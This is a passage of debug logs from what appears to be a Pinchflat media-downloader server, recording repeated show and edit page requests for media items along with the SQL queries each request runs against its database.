BY t0."media_item_id" [231209] 18:56:14.680 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:14.680 [debug] QUERY OK source="settings" db=0.0ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.680 [debug] QUERY OK source="settings" db=0.0ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.681 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.681 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:14.682 [info] Sent 200 in 3ms 18:56:14.789 [info] GET /sources/2/media/231209/edit 18:56:14.789 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "231209", "source_id" => "2"} Pipelines: [:browser] 18:56:14.789 [debug] QUERY OK source="media_items" db=0.2ms idle=109.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [231209] 18:56:14.790 [debug] QUERY OK source="settings" db=0.1ms idle=109.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.790 [debug] QUERY OK source="settings" db=0.0ms idle=109.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.790 [debug] QUERY OK source="settings" db=0.0ms idle=109.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.791 [info] Sent 200 in 2ms 18:56:14.792 [info] GET /sources/2/media/213214 18:56:14.792 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "213214", "source_id" => "2"} Pipelines: [:browser] 18:56:14.793 [debug] QUERY OK source="media_items" db=0.1ms idle=111.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213214] 18:56:14.793 [debug] QUERY OK source="tasks" db=0.2ms idle=3.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [213214] 18:56:14.793 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:14.793 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.794 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.794 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.795 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:14.796 [info] Sent 200 in 3ms 18:56:14.894 [info] GET /sources/2/media/213214/edit 18:56:14.894 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "213214", "source_id" => "2"} Pipelines: [:browser] 18:56:14.894 [debug] QUERY OK source="media_items" db=0.3ms idle=100.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [213214] 18:56:14.895 [debug] QUERY OK source="settings" db=0.1ms idle=101.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.895 [debug] QUERY OK source="settings" db=0.0ms idle=101.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.896 [debug] QUERY OK source="settings" db=0.1ms idle=101.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.896 [info] Sent 200 in 2ms 18:56:14.904 [info] GET /sources/2/media/183790 18:56:14.904 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "183790", "source_id" => "2"} Pipelines: [:browser] 18:56:14.904 [debug] QUERY OK source="media_items" db=0.2ms idle=109.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [183790] 18:56:14.905 [debug] QUERY OK source="tasks" db=0.2ms idle=10.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [183790] 18:56:14.905 [debug] QUERY OK source="sources" db=0.3ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:14.905 [debug] QUERY OK source="settings" db=0.1ms idle=10.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.906 [debug] QUERY OK source="settings" db=0.1ms idle=9.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.906 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.907 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:14.908 [info] Sent 200 in 4ms 18:56:14.981 [info] GET /sources/2/media/183790/edit 18:56:14.981 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "183790", "source_id" => "2"} Pipelines: [:browser] 18:56:14.981 [debug] QUERY OK source="media_items" db=0.1ms idle=75.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [183790] 18:56:14.982 [debug] QUERY OK source="settings" db=0.1ms idle=75.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.982 [debug] QUERY OK source="settings" db=0.0ms idle=75.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.982 [debug] QUERY OK source="settings" db=0.1ms idle=75.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:14.983 [info] Sent 200 in 2ms 18:56:15.006 [info] GET /sources/2/media/152861 18:56:15.006 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "152861", "source_id" => "2"} Pipelines: [:browser] 18:56:15.006 [debug] QUERY OK source="media_items" db=0.2ms idle=99.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [152861] 18:56:15.007 [debug] QUERY OK source="tasks" db=0.2ms idle=25.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [152861] 18:56:15.007 [debug] QUERY OK source="sources" db=0.5ms idle=24.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.007 [debug] QUERY OK source="settings" db=0.1ms idle=25.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.008 [debug] QUERY OK source="settings" db=0.0ms idle=25.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.008 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.009 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.010 [info] Sent 200 in 4ms 18:56:15.019 [info] GET /sources/2/media/152861/edit 18:56:15.019 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "152861", "source_id" => "2"} Pipelines: [:browser] 18:56:15.020 [debug] QUERY OK source="media_items" db=0.1ms idle=12.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [152861] 18:56:15.020 [debug] QUERY OK source="settings" db=0.1ms idle=12.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.020 [debug] QUERY OK source="settings" db=0.0ms idle=12.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.021 [debug] QUERY OK source="settings" db=0.1ms idle=12.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.022 [info] Sent 200 in 2ms 18:56:15.105 [info] GET /sources/2/media/141213 18:56:15.105 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141213", "source_id" => "2"} Pipelines: [:browser] 18:56:15.106 [debug] QUERY OK source="media_items" db=0.3ms idle=96.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141213] 18:56:15.106 [debug] QUERY OK source="tasks" db=0.1ms idle=86.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141213] 18:56:15.106 [debug] QUERY OK source="sources" db=0.2ms idle=85.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.107 [debug] QUERY OK source="settings" db=0.0ms idle=86.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.107 [debug] QUERY OK source="settings" db=0.1ms idle=86.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.107 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.108 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:15.109 [info] Sent 200 in 4ms 18:56:15.138 [info] GET /sources/2/media/141213/edit 18:56:15.138 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "141213", "source_id" => "2"} Pipelines: [:browser] 18:56:15.138 [info] GET /sources/2/media/769 18:56:15.138 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "769", "source_id" => "2"} Pipelines: [:browser] 18:56:15.139 [debug] QUERY OK source="media_items" db=0.4ms idle=31.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141213] 18:56:15.139 [debug] QUERY OK source="media_items" db=0.2ms idle=31.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [769] 18:56:15.139 [debug] QUERY OK source="settings" db=0.4ms idle=31.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.140 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=31.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [769] 18:56:15.140 [debug] QUERY OK source="settings" db=0.6ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:15.140 [debug] QUERY OK source="sources" db=0.9ms idle=31.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:15.140 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM 